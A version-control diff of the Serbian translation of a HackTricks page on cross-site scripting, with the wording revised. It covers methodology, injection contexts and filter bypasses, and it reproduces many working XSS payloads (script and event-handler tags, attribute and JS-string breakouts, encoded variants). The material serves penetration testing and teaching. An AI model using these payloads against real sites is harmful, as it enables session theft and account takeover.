<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -1013,7 +1013,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
# XSS (Cross Site Scripting)
|
# XSS (Cross Site Scripting)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako vas zanima **karijera u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako vas zanima **karijera u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
@ -8,9 +8,9 @@ Ako vas zanima **karijera u hakovanju** i da hakujete ono što se ne može hakov
|
||||||
|
|
||||||
## Metodologija
|
## Metodologija
|
||||||
|
|
||||||
1. Proverite da li je **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražena** u HTML-u ili **korišćena** od strane **JS** koda.
|
1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda.
|
||||||
2. **Pronađite kontekst** gde je odražena/korišćena.
|
2. **Pronađite kontekst** u kojem se odražava/koristi.
|
||||||
3. Ako je **odražena**
|
3. Ako je **odražano**
|
||||||
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload:
|
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload:
|
||||||
1. U **sirovom HTML-u**:
|
1. U **sirovom HTML-u**:
|
||||||
1. Možete li kreirati nove HTML tagove?
|
1. Možete li kreirati nove HTML tagove?
|
||||||
|
@ -26,12 +26,12 @@ Ako vas zanima **karijera u hakovanju** i da hakujete ono što se ne može hakov
|
||||||
3. Unutar **JavaScript koda**:
|
3. Unutar **JavaScript koda**:
|
||||||
1. Možete li pobjeći iz `<script>` taga?
|
1. Možete li pobjeći iz `<script>` taga?
|
||||||
2. Možete li pobjeći iz stringa i izvršiti različit JS kod?
|
2. Možete li pobjeći iz stringa i izvršiti različit JS kod?
|
||||||
3. Da li su vaši ulazi u template literalu \`\`?
|
3. Da li su vaši unosi u template literalu \`\`?
|
||||||
4. Možete li zaobići zaštite?
|
4. Možete li zaobići zaštite?
|
||||||
4. Javascript **funkcija** koja se **izvršava**
|
4. Javascript **funkcija** koja se **izvršava**
|
||||||
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
|
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
|
||||||
4. Ako je **korišćena**:
|
4. Ako je **korisno**:
|
||||||
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš ulaz kontroliše i da li se vaš **kontrolisani ulaz koristi od strane bilo kog sinka.**
|
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se kontroliše vaš unos i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
|
||||||
|
|
||||||
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
||||||
|
|
||||||
|
@ -39,31 +39,31 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
||||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Odražene vrednosti
|
## Odradene vrednosti
|
||||||
|
|
||||||
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na web stranici.
|
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na web stranici.
|
||||||
|
|
||||||
* **Intermedijarno odražena**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na web stranici, mogli biste iskoristiti **Reflected XSS**.
|
* **Intermedijarno odraženo**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na web stranici, mogli biste iskoristiti **Reflected XSS**.
|
||||||
* **Skladištena i odražena**: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti **Stored XSS**.
|
* **Skladišteno i odraženo**: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti **Stored XSS**.
|
||||||
* **Pristupano putem JS**: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti **DOM XSS**.
|
* **Pristupano putem JS**: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti **DOM XSS**.
|
||||||
|
|
||||||
## Konteksti
|
## Konteksti
|
||||||
|
|
||||||
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
|
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
|
||||||
|
|
||||||
### Sirovi HTML
|
### Sirov HTML
|
||||||
|
|
||||||
Ako se vaš ulaz **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
|
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
|
||||||
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
|
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||||
|
|
||||||
### Unutar atributa HTML tagova
|
### Unutar atributa HTML tagova
|
||||||
|
|
||||||
Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati:
|
Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati:
|
||||||
|
|
||||||
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
|
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
|
||||||
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
||||||
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga izvršite proizvoljni kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||||
4. Ako se vaš ulaz odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
|
4. Ako se vaš unos odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
|
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
|
||||||
```html
|
```html
|
||||||
|
@ -76,7 +76,7 @@ Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati
|
||||||
U ovom slučaju, vaš unos se odražava između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol:
|
U ovom slučaju, vaš unos se odražava između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol:
|
||||||
|
|
||||||
* Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `</script>` oznaka unutar HTML koda.
|
* Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `</script>` oznaka unutar HTML koda.
|
||||||
* Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **napustite** string, **izvršite** vaš kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
|
* Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** vaš kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
|
||||||
* `'-alert(1)-'`
|
* `'-alert(1)-'`
|
||||||
* `';-alert(1)//`
|
* `';-alert(1)//`
|
||||||
* `\';alert(1)//`
|
* `\';alert(1)//`
|
||||||
|
@ -159,7 +159,7 @@ Kada se vaš unos odražava **unutar HTML stranice** ili možete da pobegnete i
|
||||||
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||||
_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\***** ****`-->`**** ****ili \*\*\*\*****`--!>`**_
|
_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\***** ****`-->`**** ****ili \*\*\*\*****`--!>`**_
|
||||||
|
|
||||||
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao:
|
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payloads kao:
|
||||||
```html
|
```html
|
||||||
<script>alert(1)</script>
|
<script>alert(1)</script>
|
||||||
<img src=x onerror=alert(1) />
|
<img src=x onerror=alert(1) />
|
||||||
|
@ -230,7 +230,7 @@ onerror=alert`1`
|
||||||
//Use more than one
|
//Use more than one
|
||||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||||
```
|
```
|
||||||
### Length bypass (small XSSs)
|
### Length bypass (mali XSS)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**Više malih XSS za različita okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
|
**Više malih XSS za različita okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
|
||||||
|
@ -247,7 +247,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||||
|
|
||||||
### Click XSS - Clickjacking
|
### Click XSS - Clickjacking
|
||||||
|
|
||||||
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
|
If in order to exploit the vulnerability you need the **korisnik to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
|
||||||
|
|
||||||
### Impossible - Dangling Markup
|
### Impossible - Dangling Markup
|
||||||
|
|
||||||
|
@ -258,7 +258,7 @@ If you just think that **it's impossible to create an HTML tag with an attribute
|
||||||
### Inside the tag/escaping from attribute value
|
### Inside the tag/escaping from attribute value
|
||||||
|
|
||||||
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.\
|
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.\
|
||||||
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_napomena da se u ovom primeru koriste dvostruki navodnici za bekstvo iz atributa, nećete ih trebati ako se vaš unos direktno odražava unutar taga_):
|
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||||
```bash
|
```bash
|
||||||
" autofocus onfocus=alert(document.domain) x="
|
" autofocus onfocus=alert(document.domain) x="
|
||||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||||
|
@ -280,7 +280,7 @@ Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javasc
|
||||||
|
|
||||||
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
|
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
|
||||||
|
|
||||||
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti validno (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Vrati se </a>`
|
||||||
|
|
||||||
Napomena da je **svaka vrsta HTML kodiranja validna**:
|
Napomena da je **svaka vrsta HTML kodiranja validna**:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -303,7 +303,7 @@ Napomena da je **svaka vrsta HTML kodiranja validna**:
|
||||||
```python
|
```python
|
||||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||||
```
|
```
|
||||||
**Obilaženje unutrašnjeg događaja korišćenjem Unicode kodiranja**
|
**Zaobilaženje unutrašnjeg događaja korišćenjem Unicode kodiranja**
|
||||||
```javascript
|
```javascript
|
||||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||||
|
@ -365,11 +365,11 @@ Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||||
```
|
```
|
||||||
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload** to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
|
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
|
||||||
|
|
||||||
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
|
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
|
||||||
|
|
||||||
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisate **HTML tagove za izvršavanje JS**:
|
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**:
|
||||||
```javascript
|
```javascript
|
||||||
//Encoded: <svg onload=alert(1)>
|
//Encoded: <svg onload=alert(1)>
|
||||||
// This WORKS
|
// This WORKS
|
||||||
|
@ -381,7 +381,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
|
||||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||||
```
|
```
|
||||||
### Obrnuto tab nabbing
|
### Obrnuto otvaranje taba
|
||||||
```javascript
|
```javascript
|
||||||
<a target="_blank" rel="opener"
|
<a target="_blank" rel="opener"
|
||||||
```
|
```
|
||||||
|
@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
|
||||||
Opera: %09 %20 %2C %3B
|
Opera: %09 %20 %2C %3B
|
||||||
Android: %09 %20 %28 %2C %3B
|
Android: %09 %20 %28 %2C %3B
|
||||||
```
|
```
|
||||||
### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonički, meta)
|
### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonski, meta)
|
||||||
|
|
||||||
Sa [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
|
Sa [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
|
||||||
```html
|
```html
|
||||||
|
@ -424,7 +424,7 @@ I u **meta tagovima**:
|
||||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||||
<div popover id="newsletter">Newsletter popup</div>
|
<div popover id="newsletter">Newsletter popup</div>
|
||||||
```
|
```
|
||||||
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **uveriti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
|
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
|
||||||
```markup
|
```markup
|
||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
```
|
```
|
||||||
|
@ -474,11 +474,11 @@ U ovom slučaju, vaš **ulaz** će biti **odražen unutar JS koda** `.js` fajla
|
||||||
|
|
||||||
### Izbegavanje \<script> taga
|
### Izbegavanje \<script> taga
|
||||||
|
|
||||||
Ako je vaš kod umetnut unutar `<script> [...] var input = 'odraženi podaci' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
|
Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflected data' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
|
||||||
```javascript
|
```javascript
|
||||||
</script><img src=1 onerror=alert(document.domain)>
|
</script><img src=1 onerror=alert(document.domain)>
|
||||||
```
|
```
|
||||||
Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a za razumevanje i izvršavanje ugrađenih skripti se vrši tek kasnije.
|
Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
|
||||||
|
|
||||||
### Unutar JS koda
|
### Unutar JS koda
|
||||||
|
|
||||||
|
@ -490,8 +490,8 @@ Ako se `<>` sanitizuju, još uvek možete **pobeći string** gde se vaš unos **
|
||||||
```
|
```
|
||||||
### Template literals \`\`
|
### Template literals \`\`
|
||||||
|
|
||||||
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **obrnute navodnike** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
Da biste konstruisali **nizove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **obrnute navodnike** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||||
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi obrnute navodnike, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS niza koji koristi obrnute navodnike, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
||||||
|
|
||||||
Ovo se može **zloupotrebiti** koristeći:
|
Ovo se može **zloupotrebiti** koristeći:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -749,7 +749,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
|
||||||
|
|
||||||
### Cookie XSS
|
### Cookie XSS
|
||||||
|
|
||||||
Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste zloupotrebiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenama (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste zloupotrebiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||||
|
|
||||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||||
|
@ -759,15 +759,15 @@ Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://
|
||||||
|
|
||||||
### Slanje vaše sesije administratoru
|
### Slanje vaše sesije administratoru
|
||||||
|
|
||||||
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
|
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će aktivirati ranjivost.
|
||||||
|
|
||||||
### Odbijanje sesije
|
### Odbijanje sesije
|
||||||
|
|
||||||
Ako pronađete neki self XSS i web stranica ima **odbacivanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
Ako pronađete neki self XSS i web stranica ima **odbacivanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||||
|
|
||||||
Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju.
|
Možete naterati **administratora da aktivira vaš self XSS** i ukrade njegove kolačiće/sesiju.
|
||||||
|
|
||||||
## Drugi zaobilaženja
|
## Ostali zaobilaženja
|
||||||
|
|
||||||
### Normalizovani Unicode
|
### Normalizovani Unicode
|
||||||
|
|
||||||
|
@ -779,12 +779,12 @@ Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane**
|
||||||
```
|
```
|
||||||
### Ruby-On-Rails bypass
|
### Ruby-On-Rails bypass
|
||||||
|
|
||||||
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se ograničenje citata zaobilazi i dodatna polja (onfocus) mogu se dodati unutar taga.\
|
Zbog **RoR masovne dodeljivanja** citati se ubacuju u HTML, a zatim se zaobilaže ograničenja citata i dodatna polja (onfocus) mogu se dodati unutar taga.\
|
||||||
Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
|
Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
|
||||||
```
|
```
|
||||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
```
|
```
|
||||||
Par "Ključ","Vrednost" će biti vraćen nazad ovako:
|
Par "Ključ","Vrednost" će biti vraćen ovako:
|
||||||
```
|
```
|
||||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||||
```
|
```
|
||||||
|
@ -824,7 +824,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||||
|
|
||||||
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||||
|
|
||||||
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
